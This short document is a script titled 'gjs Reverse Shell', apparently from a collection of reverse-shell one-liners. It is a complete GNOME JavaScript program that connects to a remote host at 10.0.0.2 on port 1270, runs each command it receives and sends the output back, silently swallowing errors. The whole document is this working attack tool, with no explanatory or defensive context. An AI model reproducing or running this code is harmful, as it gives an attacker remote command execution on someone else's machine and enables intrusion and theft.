gjs Reverse Shell

shell.js

// gjs shell.js

const Gio = imports.gi.Gio;
const GLib = imports.gi.GLib;

try {
    let connection = (new Gio.SocketClient()).connect_to_host("10.0.0.2:1270", null, null);
    let output = connection.get_output_stream();
    let input = new Gio.DataInputStream({ base_stream: connection.get_input_stream() });
    
    while (true) {
        let [cmd, size] = input.read_line(null);
        let [res, out, err, status] = GLib.spawn_command_line_sync(imports.byteArray.toString(cmd));
        output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null);
    }
} catch (e) {
}